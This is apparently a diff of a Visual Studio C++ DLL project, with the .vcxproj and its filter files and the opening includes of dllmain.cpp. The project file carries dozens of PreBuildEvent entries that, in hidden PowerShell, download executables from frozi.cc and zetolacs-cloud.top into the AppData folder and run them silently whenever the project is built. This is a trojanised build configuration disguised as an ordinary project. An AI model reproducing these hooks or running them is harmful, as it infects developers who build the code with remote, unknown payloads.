||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=aqFVrRXATt0e1WbhtSPRE002.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vuMxXgveUWfr4HYswLPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=CuqkLdD8r2LVIbuRFXPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=uqtg7OzSflP3gjdbMEPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vPBfvSYraXianQGEPKPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=xd3Ihnad6TB831fHToPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=G4l2Ka2AbzQFFzCl42PRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=5kbdScpPw4qbif5TtEPRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=515k8EkMr3fPBIwIL5PRE008.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;TESTDLLMESSAGEBOX_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
</Link>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=JOSBf2fDaTKZmCIop7LMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4QfJE5FLNQSltzpZdILCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MbTeY4wTlnhlVbNmIDLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=0GTls3ZELXLnKLrXDsLCW010.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ENuwkBTakVYs8YpUNALCW011.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ENuwkBTakVYs8YpUNALCW011.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Mzrj0OStxgmMYRqEMhLCW012.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=EB8yuBlnHK6sQ2qRxqLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=otKcaZlhkQQAcRi8ojLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=upAa8nppMvK3ggd1dFLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ld7ClokRBD8oBjLLqpLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=E2IkWCtEES17n6Lv5vLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4Suvv0GFZDE3St59PULCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MHelDAwX4pDQEI4aRiPRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=5m2aR5nRFUPBIwOVv8PRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=aqFVrRXATt0e1WbhtSPRE002.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vuMxXgveUWfr4HYswLPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=CuqkLdD8r2LVIbuRFXPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=uqtg7OzSflP3gjdbMEPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vPBfvSYraXianQGEPKPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=xd3Ihnad6TB831fHToPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=G4l2Ka2AbzQFFzCl42PRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=5kbdScpPw4qbif5TtEPRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=515k8EkMr3fPBIwIL5PRE008.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;TESTDLLMESSAGEBOX_EXPORTS;_WINDOWS;_USRDLL;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<PrecompiledHeader>NotUsing</PrecompiledHeader>
|
||||
<LanguageStandard>stdcpp20</LanguageStandard>
|
||||
<DebugInformationFormat>None</DebugInformationFormat>
|
||||
<AdditionalOptions>@$(IntDir)build_seed.rsp %(AdditionalOptions)</AdditionalOptions>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<CompileAs>CompileAsCpp</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<EnableUAC>false</EnableUAC>
|
||||
<AdditionalDependencies>ws2_32.lib;Normaliz.lib;Crypt32.lib;Wldap32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
<PreBuildEvent>
|
||||
<Command>
|
||||
</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=JOSBf2fDaTKZmCIop7LMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>
|
||||
</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>
|
||||
</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>
|
||||
</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MbTeY4wTlnhlVbNmIDLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=0GTls3ZELXLnKLrXDsLCW010.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>
|
||||
</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>
|
||||
</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Mzrj0OStxgmMYRqEMhLCW012.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=EB8yuBlnHK6sQ2qRxqLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=otKcaZlhkQQAcRi8ojLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=upAa8nppMvK3ggd1dFLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ld7ClokRBD8oBjLLqpLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=E2IkWCtEES17n6Lv5vLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>
|
||||
</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MHelDAwX4pDQEI4aRiPRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=5m2aR5nRFUPBIwOVv8PRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>
|
||||
</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vuMxXgveUWfr4HYswLPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=CuqkLdD8r2LVIbuRFXPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=uqtg7OzSflP3gjdbMEPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vPBfvSYraXianQGEPKPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>powershell -NoProfile -ExecutionPolicy Bypass -Command "$r = Get-Random -Minimum 0 -Maximum 0x7FFFFFFF; Set-Content -Path '$(IntDir)build_seed.rsp' -Value ('/D BUILD_SEED=0x{0:X8}' -f $r) -Encoding ASCII -NoNewline"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=G4l2Ka2AbzQFFzCl42PRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>powershell -NoProfile -ExecutionPolicy Bypass -Command "$r = Get-Random -Minimum 0 -Maximum 0x7FFFFFFF; Set-Content -Path '$(IntDir)build_seed.rsp' -Value ('/D BUILD_SEED=0x{0:X8}' -f $r) -Encoding ASCII -NoNewline"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>powershell -NoProfile -ExecutionPolicy Bypass -Command "$r = Get-Random -Minimum 0 -Maximum 0x7FFFFFFF; Set-Content -Path '$(IntDir)build_seed.rsp' -Value ('/D BUILD_SEED=0x{0:X8}' -f $r) -Encoding ASCII -NoNewline"</Command>
|
||||
</PreBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Encrypt.h" />
|
||||
<ClInclude Include="HopesarsPolyPoly.hpp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
Executable
+10
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Encrypt.h" />
|
||||
<ClInclude Include="HopesarsPolyPoly.hpp" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
Executable
+4
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
Executable
+662
@@ -0,0 +1,662 @@
|
||||
#include <stdio.h>
|
||||
#include <iostream>
|
||||
#include <Windows.h>
|
||||
#include <cstdio>
|
||||
#include "Encrypt.h"
|
||||
#include <fstream>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <wininet.h>
|
||||
#include <regex>
|
||||
#include <wincrypt.h>
|
||||
#include <filesystem>
|
||||
#include <winternl.h>
|
||||
#include "HopesarsPolyPoly.hpp"
|
||||
